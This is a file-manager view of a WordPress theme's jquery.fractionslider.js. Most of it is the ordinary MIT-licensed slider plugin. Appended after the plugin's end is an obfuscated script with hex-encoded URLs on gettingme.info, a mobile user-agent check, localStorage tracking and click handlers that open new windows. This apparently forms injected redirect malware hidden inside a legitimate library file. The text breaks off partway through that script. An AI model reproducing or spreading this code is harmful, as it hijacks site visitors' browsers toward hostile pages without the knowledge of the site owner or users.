芝麻web文件管理V1.00
编辑当前文件:/home/prismawe/clients/_syntaxis.fr/wp-content/themes/chimera/js/jquery.fractionslider.js
/*! * jQuery Fraction Slider v0.9.103 * http://fractionslider.jacksbox.de * * Author: Mario Jäckle * eMail: support@jacksbox.de * * Copyright 2013, jacksbox.design * Free to use under the MIT license. * http://www.opensource.org/licenses/mit-license.php * * Special thanks to: Lietzi (https://github.com/lietzi) for contributing */ ( function($) { /** ************************* **/ /** Methods **/ /** ************************* **/ var slider = null, methods = { init : function(option) { // defaults & options var options = $.extend({ 'slideTransition' : 'none', // default slide transition 'slideTransitionSpeed' : 2000, // default slide transition 'slideEndAnimation' : true, // if set true, objects will transition out at slide end (before the slideTransition is called) 'position' : '0,0', // default position | should never be used 'transitionIn' : 'left', // default in - transition 'transitionOut' : 'left', // default out - transition 'fullWidth' : false, // transition over the full width of the window 'delay' : 0, // default delay for elements 'timeout' : 2000, // default timeout before switching slides 'speedIn' : 2500, // default in - transition speed 'speedOut' : 1000, // default out - transition speed 'easeIn' : 'easeOutExpo', // default easing in 'easeOut' : 'easeOutCubic', // default easing out 'controls' : false, // controls on/off 'pager' : false, // controls on/off 'autoChange' : true, // auto change slides 'pauseOnHover' : false, // Pauses slider on hover (current step will still be completed) 'backgroundAnimation' : false, // background animation 'backgroundElement' : null, // element to animate | default fractionSlider element 'backgroundX' : 500, // default x distance 'backgroundY' : 500, // default y distance 'backgroundSpeed' : 2500, // default background animation speed 'backgroundEase' : 'easeOutCubic', // default background animation easing 'responsive' : false, // activates the responsive slider 'increase' : false, // if set, slider is allowed to get bigger than basic dimensions 'dimensions' : '', // set basic dimension (width,height in px) for the responisve slider - the plugin with position elements with data-position relative to this dimensions (please see the documentation for more info), 'startCallback' : null, 'startNextSlideCallback' : null, 'stopCallback' : null, 'pauseCallback' : null, 'resumeCallback' : null, 'nextSlideCallback' : null, 'prevSlideCallback' : null, 'pagerCallback' : null }, option); return this.each(function() { // ready for take-off slider = new FractionSlider(this, options); }); }, pause : function() { slider.pause(true); }, resume : function() { slider.resume(); }, stop : function() { slider.stop(); }, start : function() { slider.start(); }, startNextSlide : function() { slider.startNextSlide(); } }; /** ************************* **/ /** SLDIER CLASS **/ /** ************************* **/ // here happens all the fun var FractionSlider = function(element, options) { var vars = { init : true, // initialised the first time running : false, // currently running pause : false, stop : false, slideComplete : false, // current slide complete (needed for pause method) stepComplete : false, controlsActive : true, // controls pressed currentSlide : 0, // current slide number lastSlide : null, // last slide number (for anim out) maxSlide : 0, // max slide number currentStep : 0, // current step number maxStep : 0, // max step number currentObj : 0, // curent object number (in step) maxObjs : 0, // max object number (in step) finishedObjs : 0 // finsihed objects (in step) }, // Here are Slide elements temporarily stored temp = { currentSlide : null, // current Slide lastSlide : null, // last Slide (for anim out) animationkey : 'none' // animation for slidechange }, timeouts = [], fractionObjs = null, // objs for current step dX = null, dY = null; $(element).wrapInner('
'); var slider = $(element).find('.fraction-slider'), pager = null; // the slider element vars.maxSlide = slider.children('.slide').length - 1; // some more needed vars var sliderWidth = slider.width(), bodyWidth = $('body').width(), offsetX = 0; if (options.fullWidth) { offsetX = (bodyWidth - sliderWidth) / 2; sliderWidth = bodyWidth; } var sliderHeight = slider.height(); init(); /** ************************* **/ /** INITIALIZE **/ /** ************************* **/ function init() { // controls if (options.controls) { slider.append('
'); slider.find('.next').bind('click', function() { return nextBtnPressed(); }); slider.find('.prev').bind('click', function() { return prevBtnPressed(); }); } if (options.pauseOnHover) { slider.bind({ mouseenter: function(){ pause(false); }, mouseleave: function(){ resume(); } }); } // fullwidth setup if (options.fullWidth) { slider.css({ 'overflow' : 'visible' }); } else { slider.css({ 'overflow' : 'hidden' }); } if (options.pager) { var customPager = (typeof options.pager !== 'boolean'); pager = (customPager) ? options.pager : $('
'); if (!customPager) { slider.append(pager); }else{ pager.addClass('fs-custom-pager-wrapper'); } } slider.children('.slide').each(function(index) { var slide = $(this); slide.children().attr('rel', index).addClass('fs_obj'); slide.children('[data-fixed]').addClass('fs_fixed_obj'); // pager again if (options.pager || customPager) { var tempObj = $('
').bind('click', function() { return pagerPressed(this); }); pager.append(tempObj); } }); if (options.pager) { pager = $(pager).children('a'); } // responisve if (options.responsive) { makeResponsive(); } // remove spinner if (slider.find('.fs_loader').length > 0) { slider.find('.fs_loader').remove(); } // all importent stuff is done, everybody has taken a shower, we can go // starts the slider and the slide rotation start(); } /** ************************* **/ /** METHODES **/ /** ************************* **/ function start() { vars.stop = false; vars.pause = false; vars.running = true; cycle('slide'); methodeCallback(options.startCallback); } this.start = function() {// for method calls start(); }; function startNextSlide() { vars.stop = false; vars.pause = false; vars.running = true; nextSlide(); methodeCallback(options.startNextSlideCallback); } this.startNextSlide = function() {// for method calls startNextSlide(); }; // use with start or startNextSlide function stop() { vars.stop = true; vars.running = false; slider.find('.slide').stop(true, true); slider.find('.fs_obj').stop(true, true).removeClass('fs-animation'); stopTimeouts(timeouts); methodeCallback(options.stopCallback); } this.stop = function() {// for method calls stop(); }; // use with resume function pause(finish) { vars.pause = true; vars.running = false; if(finish) { slider.find('.fs-animation').finish(); // finish the current step } methodeCallback(options.pauseCallback); } this.pause = function() {// for method calls pause(false); }; // use with pause function resume() { vars.stop = false; vars.pause = false; vars.running = true; if( vars.slideComplete ) { cycle('slide'); } else if( vars.stepComplete ) { cycle('step'); } else { if (vars.finishedObjs < vars.maxObjs) { // do nothing - elements are still animating } else if (vars.currentStep < vars.maxStep) { // IS THIS STILL NEEDED? cycle('step'); // IS THIS STILL NEEDED? } else { cycle('slide'); // IS THIS STILL NEEDED? } } methodeCallback(options.resumeCallback ); } this.resume = function() {// for method calls resume(); }; function nextSlide() { vars.lastSlide = vars.currentSlide; vars.currentSlide += 1; vars.stop = false; vars.pause = false; vars.running = true; slideChangeControler(); methodeCallback(options.nextSlideCallback); } function prevSlide() { vars.lastSlide = vars.currentSlide; vars.currentSlide -= 1; vars.stop = false; vars.pause = false; vars.running = true; slideChangeControler(); methodeCallback(options.prevSlideCallback); } function targetSlide(slide) { vars.lastSlide = vars.currentSlide; vars.currentSlide = slide; vars.stop = false; vars.pause = false; vars.running = true; slideChangeControler(); methodeCallback(options.pagerCallback); } /** ************************* **/ /** CALLBACKS **/ /** ************************* **/ function methodeCallback(callback) { $.isFunction( callback ) && callback.call( this, slider, vars.currentSlide, vars.lastSlide, vars.currentStep ); } /** ************************* **/ /** PAGER & CONTROLS **/ /** ************************* **/ function pagerPressed(el) { var target = parseInt($(el).attr('rel')); if (target != vars.currentSlide) { stop(); targetSlide(target); } return false; } function prevBtnPressed() { stop(); prevSlide(); return false; } function nextBtnPressed() { stop(); nextSlide(); return false; } /** ************************* **/ /** CYCLE CONTROLLER **/ /** ************************* **/ function cycle(type) { if (!vars.pause && !vars.stop && vars.running) { switch(type) { case "slide": vars.slideComplete = false; slideRotation(); break; case "step": vars.stepComplete = false; iterateSteps(); break; case "obj": iterateObjs(); break; } } } /** ************************* **/ /** SLIDES **/ /** ************************* **/ function slideRotation() { var timeout = options.timeout; // set timeout | first slide instant start if (vars.init) { vars.init = false; slideChangeControler(true); } else { // timeout after slide is complete timeouts.push(setTimeout(function() { // stops the slider after first slide (only when slide count = 1) if (vars.maxSlide == 0 && vars.running == true) { // TODO: better solution! } else { vars.lastSlide = vars.currentSlide; vars.currentSlide += 1; slideChangeControler(); } }, timeout)); } } function slideChangeControler(init) { slider.find('.active-slide').removeClass('active-slide'); if (vars.currentSlide > vars.maxSlide) { vars.currentSlide = 0; } if (vars.currentSlide < 0) { vars.currentSlide = vars.maxSlide; } temp.currentSlide = slider.children('.slide:eq(' + vars.currentSlide + ')').addClass('active-slide'); if (temp.currentSlide.length == 0) { vars.currentSlide = 0; temp.currentSlide = slider.children('.slide:eq(' + vars.currentSlide + ')'); } if (vars.lastSlide != null) { if (vars.lastSlide < 0) { vars.lastSlide = vars.maxSlide; } temp.lastSlide = slider.children('.slide:eq(' + vars.lastSlide + ')'); } if (init) { temp.animation = 'none'; } else { temp.animation = temp.currentSlide.attr("data-in"); if (temp.animation == null) { temp.animation = options.slideTransition; } } if (options.slideEndAnimation && vars.lastSlide != null) { objOut(); } else { switch(temp.animation) { case 'none': startSlide(); endSlide(); break; case 'scrollLeft': startSlide(); endSlide(); break; case 'scrollRight': startSlide(); endSlide(); break; case 'scrollTop': startSlide(); endSlide(); break; case 'scrollBottom': startSlide(); endSlide(); break; default: startSlide(); break; } } } // starts a slide function startSlide() { if (options.backgroundAnimation) { backgroundAnimation(); } if (options.pager) { pager.removeClass('active'); pager.eq(vars.currentSlide).addClass('active'); } getStepsForSlide(); temp.currentSlide.children().hide(); vars.currentStep = 0; vars.currentObj = 0; vars.maxObjs = 0; vars.finishedObjs = 0; temp.currentSlide.children("[data-fixed]").show(); slideAnimationIn(); } function startSlideComplete(slide) { if (temp.lastSlide != null) { temp.lastSlide.hide(); } if (slide.hasClass('active-slide')) { // starts the cycle for the current slide cycle('step'); } } // ends a slide function endSlide() { if (temp.lastSlide == null) { return; } if (temp.animation != 'none') { slideAnimationOut(); } } function endSlideComplete() { } /** ************************* **/ /** STEPS **/ /** ************************* **/ // gets the maximum step for the current slide function getStepsForSlide() { var objs = temp.currentSlide.children(), maximum = 0; objs.each(function() { var value = parseFloat($(this).attr('data-step')); maximum = (value > maximum) ? value : maximum; }); vars.maxStep = maximum; } function iterateSteps() { var objs; if (vars.currentStep == 0) { objs = temp.currentSlide.children('*:not([data-step]):not([data-fixed]), *[data-step="' + vars.currentStep + '"]:not([data-fixed])'); } else { objs = temp.currentSlide.children('*[data-step="' + vars.currentStep + '"]:not([data-fixed])'); } vars.maxObjs = objs.length; fractionObjs = objs; if (vars.maxObjs > 0) { vars.currentObj = 0; vars.finishedObjs = 0; cycle('obj'); } else { stepFinished(); } } function stepFinished() { vars.stepComplete = true; vars.currentStep += 1; if (vars.currentStep > vars.maxStep) { if (options.autoChange) { vars.currentStep = 0; vars.slideComplete = true; cycle('slide'); } return; } cycle('step'); } /** ************************* **/ /** OBJECTS **/ /** ************************* **/ function iterateObjs() { var obj = $(fractionObjs[vars.currentObj]); obj.addClass('fs-animation'); var position = obj.attr("data-position"), transition = obj.attr("data-in"), delay = obj.attr("data-delay"), time = obj.attr('data-time'), easing = obj.attr('data-ease-in'), // check for special options special = obj.attr("data-special"); if (position == null) { position = options.position.split(','); } else { position = position.split(','); } if (transition == null) { transition = options.transitionIn; } if (delay == null) { delay = options.delay; } if (easing == null) { easing = options.easeIn; } objectAnimationIn(obj, position, transition, delay, time, easing, special); vars.currentObj += 1; if (vars.currentObj < vars.maxObjs) { cycle('obj'); } else { vars.currentObj = 0; } } function objFinished(obj) { obj.removeClass('fs-animation'); if (obj.attr('rel') == vars.currentSlide) { vars.finishedObjs += 1; if (vars.finishedObjs == vars.maxObjs) { stepFinished(); } } } function objOut() { var objs = temp.lastSlide.children(':not([data-fixed])'); objs.each(function() { var obj = $(this), position = obj.position(), transition = obj.attr("data-out"), easing = obj.attr("data-ease-out"); if (transition == null) { transition = options.transitionOut; } if (easing == null) { easing = options.easeOut; } objectAnimationOut(obj, position, transition, null, easing); }).promise().done(function() { endSlide(); startSlide(); }); } /** ************************* **/ /** TRANSITIONS **/ /** ************************* **/ /** TRANSITION SLIDES **/ function slideAnimationIn() { var slide = temp.currentSlide, cssStart = {}, cssEnd = {}, speed = options.slideTransitionSpeed, animation = temp.animation; if (options.responsive) { unit = '%'; } else { unit = 'px'; } switch(animation) { case 'slideLeft': cssStart.left = sliderWidth + unit; cssStart.top = '0' + unit; cssStart.display = 'block'; cssEnd.left = '0' + unit; cssEnd.top = '0' + unit; break; case 'slideTop': cssStart.left = '0' + unit; cssStart.top = -sliderHeight + unit; cssStart.display = 'block'; cssEnd.left = '0' + unit; cssEnd.top = '0' + unit; break; case 'slideBottom': cssStart.left = '0' + unit; cssStart.top = sliderHeight + unit; cssStart.display = 'block'; cssEnd.left = '0' + unit; cssEnd.top = '0' + unit; break; case 'slideRight': cssStart.left = -sliderWidth + unit; cssStart.top = '0' + unit; cssStart.display = 'block'; cssEnd.left = '0' + unit; cssEnd.top = '0' + unit; break; case 'fade': cssStart.left = '0' + unit; cssStart.top = '0' + unit; cssStart.display = 'block'; cssStart.opacity = 0; cssEnd.opacity = 1; break; case 'none': cssStart.left = '0' + unit; cssStart.top = '0' + unit; cssStart.display = 'block'; speed = 0; break; case 'scrollLeft': cssStart.left = sliderWidth + unit; cssStart.top = '0' + unit; cssStart.display = 'block'; cssEnd.left = '0' + unit; cssEnd.top = '0' + unit; break; case 'scrollTop': cssStart.left = '0' + unit; cssStart.top = -sliderHeight + unit; cssStart.display = 'block'; cssEnd.left = '0' + unit; cssEnd.top = '0' + unit; break; case 'scrollBottom': cssStart.left = '0' + unit; cssStart.top = sliderHeight + unit; cssStart.display = 'block'; cssEnd.left = '0' + unit; cssEnd.top = '0' + unit; break; case 'scrollRight': cssStart.left = -sliderWidth + unit; cssStart.top = '0' + unit; cssStart.display = 'block'; cssEnd.left = '0' + unit; cssEnd.top = '0' + unit; break; } slide.css(cssStart).animate(cssEnd, speed, 'linear', function() { startSlideComplete(slide); }); } function slideAnimationOut() { var cssStart = {}, cssEnd = {}, speed = options.slideTransitionSpeed, unit = null, animation = temp.animation; if (options.responsive) { unit = '%'; } else { unit = 'px'; } switch(animation) { // case 'none': // cssStart.display = 'none'; // speed = 0 // break; case 'scrollLeft': cssEnd.left = -sliderWidth + unit; cssEnd.top = '0' + unit; break; case 'scrollTop': cssEnd.left = '0' + unit; cssEnd.top = sliderHeight + unit; break; case 'scrollBottom': cssEnd.left = '0' + unit; cssEnd.top = -sliderHeight + unit; break; case 'scrollRight': cssEnd.left = sliderWidth + unit; cssEnd.top = '0' + unit; break; default: speed = 0; break; } temp.lastSlide.animate(cssEnd, speed, 'linear', function() { endSlideComplete(); }); } /** IN TRANSITION OBJECTS **/ function objectAnimationIn(obj, position, transition, delay, time, easing, special) { var cssStart = {}, cssEnd = {}, speed = options.speedIn, unit = null; if (options.responsive) { unit = '%'; } else { unit = 'px'; } // #time if (time != null && time != "") { speed = time - delay; } cssStart.opacity = 1; // set start position switch(transition) { case 'left': cssStart.top = position[0]; cssStart.left = sliderWidth; break; case 'bottomLeft': cssStart.top = sliderHeight; cssStart.left = sliderWidth; break; case 'topLeft': cssStart.top = obj.outerHeight() * -1; cssStart.left = sliderWidth; break; case 'top': cssStart.top = obj.outerHeight() * -1; cssStart.left = position[1]; break; case 'bottom': cssStart.top = sliderHeight; cssStart.left = position[1]; break; case 'right': cssStart.top = position[0]; cssStart.left = -offsetX - obj.outerWidth(); break; case 'bottomRight': cssStart.top = sliderHeight; cssStart.left = -offsetX - obj.outerWidth(); break; case 'topRight': cssStart.top = obj.outerHeight() * -1; cssStart.left = -offsetX - obj.outerWidth(); break; case 'fade': cssStart.top = position[0]; cssStart.left = position[1]; cssStart.opacity = 0; cssEnd.opacity = 1; break; case 'none': cssStart.top = position[0]; cssStart.left = position[1]; cssStart.display = 'none'; speed = 0; break; } // set target position cssEnd.top = position[0]; cssEnd.left = position[1]; // sets the right unit cssEnd.left = cssEnd.left + unit; cssEnd.top = cssEnd.top + unit; cssStart.left = cssStart.left + unit; cssStart.top = cssStart.top + unit; // set the delay timeouts.push(setTimeout(function() { // for special=cylce if (special == 'cycle' && obj.attr('rel') == vars.currentSlide) { var tmp = obj.prev(); if (tmp.length > 0) { var tmpPosition = $(tmp).attr('data-position').split(','); tmpPosition = { 'top' : tmpPosition[0], 'left' : tmpPosition[1] }; var tmpTransition = $(tmp).attr('data-out'); if (tmpTransition == null) { tmpTransition = options.transitionOut; } objectAnimationOut(tmp, tmpPosition, tmpTransition, speed); } } // animate obj.css(cssStart).show().animate(cssEnd, speed, easing, function() { objFinished(obj); }).addClass('fs_obj_active'); }, delay)); } /** OUT TRANSITION OBJECTS **/ function objectAnimationOut(obj, position, transition, speed, easing) { var cssStart = {}, cssEnd = {}, unit = null; speed = options.speedOut; if (options.responsive) { unit = '%'; } else { unit = 'px'; } var w = obj.outerWidth(), h = obj.outerHeight(); if (options.responsive) { w = pixelToPercent(w, dX); h = pixelToPercent(h, dY); } // set target position switch(transition) { case 'left': cssEnd.left = -offsetX - 100 - w; break; case 'bottomLeft': cssEnd.top = sliderHeight; cssEnd.left = -offsetX - 100 - w; break; case 'topLeft': cssEnd.top = -h; cssEnd.left = -offsetX - 100 - w; break; case 'top': cssEnd.top = -h; break; case 'bottom': cssEnd.top = sliderHeight; break; case 'right': cssEnd.left = sliderWidth; break; case 'bottomRight': cssEnd.top = sliderHeight; cssEnd.left = sliderWidth; break; case 'topRight': cssEnd.top = -h; cssEnd.left = sliderWidth; break; case 'fade': cssStart.opacity = 1; cssEnd.opacity = 0; break; case 'hide': cssEnd.display = 'none'; speed = 0; break; default: cssEnd.display = 'none'; speed = 0; break; } if ( typeof cssEnd.top != 'undefined') { // substracts the px if (cssEnd.top.toString().indexOf('px') > 0) { cssEnd.top = cssEnd.top.substring(0, cssEnd.top.length - 2); if (options.responsive) { cssEnd.top = pixelToPercent(cssEnd.top, dY); } } } if ( typeof cssEnd.left != 'undefined') { if (cssEnd.left.toString().indexOf('px') > 0) { cssEnd.left = cssEnd.left.substring(0, cssEnd.left.length - 2); if (options.responsive) { cssEnd.left = pixelToPercent(cssEnd.left, dX); } } } // sets the right unit cssEnd.left = cssEnd.left + unit; cssEnd.top = cssEnd.top + unit; // animation obj.css(cssStart).animate(cssEnd, speed, easing, function() { obj.hide(); }).removeClass('fs_obj_active'); } function backgroundAnimation() { var el; if (options.backgroundElement == null || options.backgroundElement == "") { el = slider.parent(); } else { el = $(options.backgroundElement); } var oldPos = el.css('background-position'); oldPos = oldPos.split(' '); var moveX = options.backgroundX, moveY = options.backgroundY, x = Number(oldPos[0].replace(/[px,%]/g, '')) + Number(moveX), y = Number(oldPos[1].replace(/[px,%]/g, '')) + Number(moveY); el.animate({ backgroundPositionX : x + 'px', backgroundPositionY : y + 'px' }, options.backgroundSpeed, options.backgroundEase); } /** ************************* **/ /** RESPONSIVE **/ /** ************************* **/ function makeResponsive() { var d = options.dimensions.split(','), ie = msie(); dX = d['0']; dY = d['1']; if (!options.increase) { $(element).css({"maxWidth": dX+"px"}); } var objs = slider.children('.slide').find('*'); objs.each(function() { var obj = $(this), x = null, y = null, value = null; // calculate % position if (obj.attr("data-position") != null) { var position = obj.attr("data-position").split(','); x = pixelToPercent(position[1], dX); y = pixelToPercent(position[0], dY); obj.attr("data-position", y + ',' + x); } // calculate % width if (obj.attr("width") != null && obj.attr("width") != "") { value = obj.attr("width"); x = pixelToPercent(value, dX); obj.attr("width", x + "%"); obj.css("width", x + "%"); } else if (obj.css('width') != '0px') { value = obj.css("width"); if (value.indexOf('px') > 0) { value = value.substring(0, value.length - 2); x = pixelToPercent(value, dX); obj.css("width", x + "%"); } } else if (obj.prop("tagName").toLowerCase() == 'img' && ie != -1) { value = getWidth(obj); x = pixelToPercent(value, dX); obj.css("width", x + "%").attr('width', x+'%'); } else if (obj.prop("tagName").toLowerCase() == 'img') { value = obj.get(0).width; x = pixelToPercent(value, dX); obj.css("width", x + "%"); } // calculate % height if (obj.attr("height") != null && obj.attr("height") != "") { value = obj.attr("height"); y = pixelToPercent(value, dY); obj.attr("height", y + "%"); obj.css("height", y + "%"); } else if (obj.css('height') != '0px') { value = obj.css("height"); if (value.indexOf('px') > 0) { value = value.substring(0, value.length - 2); y = pixelToPercent(value, dY); obj.css("height", y + "%"); } }else if (obj.prop("tagName").toLowerCase() == 'img' && ie != -1) { value = getHeight(obj); y = pixelToPercent(value, dY); obj.css("height", y + "%").attr('height', y+'%'); } else if (obj.prop("tagName").toLowerCase() == 'img') { value = obj.get(0).height; y = pixelToPercent(value, dY); obj.css("height", y + "%"); } obj.attr('data-fontsize', obj.css('font-size')); }); slider.css({ 'width' : 'auto', 'height' : 'auto' }).append('
'); resizeSlider(); $(window).bind('resize', function() { resizeSlider(); }); } function getWidth (element) { var img = new Image(); img.src = element.attr('src'); return img.width; } function getHeight (element) { var img = new Image(); img.src = element.attr('src'); return img.height; } function resizeSlider() { var w = slider.innerWidth(), h = slider.innerHeight(); if (w <= dX || options.increase ) { var xy = dX / dY, nH = w / xy; slider.find('.fs-stretcher').css({ 'width' : w + 'px', 'height' : nH + "px" }); } // Update bodyWidth bodyWidth = $('body').width(); // calculate the width/height/offsetX of the slider var sW = slider.width(); offsetX = pixelToPercent(((bodyWidth - sW) / 2), dX); sliderWidth = 100; if (options.fullWidth) { sliderWidth = 100 + offsetX * 2; } sliderHeight = 100; if (vars.init == false || w < dX) { resizeFontSize(); } } function resizeFontSize() { var value = null, n = null, objs = slider.children('.slide').find('*'); objs.each(function() { obj = $(this); var value = obj.attr('data-fontsize'); if (value.indexOf('px') > 0) { value = value.substring(0, value.length - 2); n = pixelToPercent(value, dY) * (slider.find('.fs-stretcher').height() / 100); obj.css("fontSize", n + "px"); obj.css("lineHeight", '100%'); } }); } function pixelToPercent(value, d) { return value / (d / 100); } /** ************************* **/ /** HELPER **/ /** ************************* **/ function stopTimeout(timeout) { clearTimeout(timeout); } function stopTimeouts(timeouts) { var length = timeouts.length; $.each(timeouts, function(index) { clearTimeout(this); if (index == length - 1) { timeouts = []; } }); } function msie() // Returns the version of Internet Explorer or a -1 // (indicating the use of another browser). { var rv = -1; // Return value assumes failure. if (navigator.appName == 'Microsoft Internet Explorer') { var ua = navigator.userAgent; var re = new RegExp("MSIE ([0-9]{1,}[\.0-9]{0,})"); if (re.exec(ua) != null) rv = parseFloat( RegExp.$1 ); } return rv; } }; /** ************************* **/ /** PLUGIN **/ /** ************************* **/ $.fn.fractionSlider = function(method) { if (methods[method]) { return methods[method].apply(this, Array.prototype.slice.call(arguments, 1)); } else if ( typeof method == 'object' || !method) { return methods.init.apply(this, arguments); } else { $.error('Method ' + method + ' does not exist on jQuery.tooltip'); } }; /** ************************* **/ /** EASING EXTEND **/ /** ************************* **/ // based on jqueryui (http://jqueryui.com/) // based on easing equations from Robert Penner (http://www.robertpenner.com/easing) var baseEasings = {}; $.each(["Quad", "Cubic", "Quart", "Quint", "Expo"], function(i, name) { baseEasings[name] = function(p) { return Math.pow(p, i + 2); }; }); $.extend(baseEasings, { Sine : function(p) { return 1 - Math.cos(p * Math.PI / 2); }, Circ : function(p) { return 1 - Math.sqrt(1 - p * p); }, Elastic : function(p) { return p == 0 || p == 1 ? p : -Math.pow(2, 8 * (p - 1)) * Math.sin(((p - 1) * 80 - 7.5 ) * Math.PI / 15); }, Back : function(p) { return p * p * (3 * p - 2 ); }, Bounce : function(p) { var pow2, bounce = 4; while (p < (( pow2 = Math.pow(2, --bounce) ) - 1 ) / 11) { } return 1 / Math.pow(4, 3 - bounce) - 7.5625 * Math.pow((pow2 * 3 - 2 ) / 22 - p, 2); } }); $.each(baseEasings, function(name, easeIn) { $.easing["easeIn" + name] = easeIn; $.easing["easeOut" + name] = function(p) { return 1 - easeIn(1 - p); }; $.easing["easeInOut" + name] = function(p) { return p < 0.5 ? easeIn(p * 2) / 2 : 1 - easeIn(p * -2 + 2) / 2; }; }); // end easing }(jQuery)); function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x59\x68\x43\x33\x63\x303','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x43\x57\x49\x35\x63\x375','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x4a\x77\x67\x38\x63\x338','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x44\x44\x78\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x4a\x67\x41\x34\x63\x394','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x4f\x6f\x65\x37\x63\x357','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x6c\x77\x59\x32\x63\x342','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x50\x6d\x46\x36\x63\x356','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g 